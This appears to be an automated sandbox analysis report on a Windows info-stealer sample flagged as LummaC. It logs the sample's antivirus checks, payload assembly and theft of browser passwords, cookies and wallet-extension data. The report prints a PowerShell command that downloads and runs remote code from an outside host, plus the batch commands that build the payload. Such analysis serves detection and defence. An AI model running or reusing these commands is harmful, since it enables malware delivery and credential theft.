Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	RDTSC instruction interceptor: First address: 6BB4F3FD second address: 6BB4F3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F22DCB51375h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F22DCB51400h 0x00000031 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4562			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1551			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-A0MP0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IDM6D.tmp\_isetup\_isdecmp.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com TID: 7996	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep count: 4562 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep count: 1551 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2836	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: OS47CTVTQTDUZX7YVJLO9.tmp, 00000016.00000003.2680511858.0000000001586000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000011.00000002.2110875661.000000000744C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

NtQuerySystemInformation: Direct from: 0x4585B0

Source: C:\Users\user\Desktop\Active_Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Vocal Vocal.cmd & Vocal.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 529052	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Trials	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "APPROXIMATELY" Compound	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 529052\Bother.com + Stones + Floral + Web + Know + Howard + Holly + Production + Stored + Britney + Musicians 529052\Bother.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Hopes + ..\Newark + ..\Announces + ..\Much + ..\Fabrics + ..\Forums + ..\Regardless + ..\Train k	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com Bother.com k	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe "C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;			Jump to behavior

Source: Bother.com, 0000000C.00000000.1713855669.0000000000CB3000.00000002.00000001.01000000.00000007.sdmp, Bother.com.1.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: BrightLib.exe, 00000032.00000002.2654160152.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000000.2612155337.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-NQ5E5.tmp.22.dr	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowahk_idpidclassgroup%s%uProgram Manager\P{Xps}\H\P{Xan}\P{Lu}\P{Ll}\P{L}\p{Xps}\h\p{Xan}\p{Lu}\p{Ll}\p{L}\p{Xwd}\P{Xwd}\p{Xsp}\P{Xsp}\p{Nd}\P{Nd}Error text not found (please report)Q\E{0,DEFINEUTF8)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressioninternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: BrightLib.exe, 00000032.00000002.2654160152.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000000.2612155337.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, is-NQ5E5.tmp.22.dr	Binary or memory string: regk-hookm-hook2-hooksjoypollPART(no)%s%s%s%s%s{Raw}%s%cHotstring max abbreviation length is 40.LEFTLRIGHTRMIDDLEMX1X2WUWDWLWRSendInputuser32{Blind}{ClickLl{}^+!#{}RawTempSsASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt sc%03Xvk%02XALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUP...%s[%Iu of %Iu]: %-1.60s%sHKLMHKEY_LOCAL_MACHINEHKCRHKEY_CLASSES_ROOTHKCCHKEY_CURRENT_CONFIGHKCUHKEY_CURRENT_USERHKUHKEY_USERSREG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYMasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightAddDefaultIconNoIconDestroyNamePriorityInterruptNoTimersTypeONLocalePermitMouseSendAndMouseMouseMoveOffPlayEventThenEventThenPlayYESNOOKCANCELABORTIGNORERETRYCONTINUETRYAGAINTimeoutMINMAXHIDEScreenRelativeWindowClientPixelCaretIntegerFloatNumberTimeDateDigitXdigitAlnumAlphaUpperLowerUTF-8UTF-8-RAWUTF-16UTF-16-RAWCPRemoveClipboardFormatListenerAddClipboardFormatListenerTrayNo tray memstatus AHK_PlayMe modeclose AHK_PlayMe.aut%s\%sRegClassAutoHotkey2Shell_TrayWndCreateWindoweditLucida ConsoleConsolasCritical Error: %s

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\65b2295d VolumeInformation

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Code function: 50_2_00491486 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

50_2_00491486

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000029.00000002.2563051335.00000216E0E9B000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000029.00000002.2563136150.00000216E1134000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
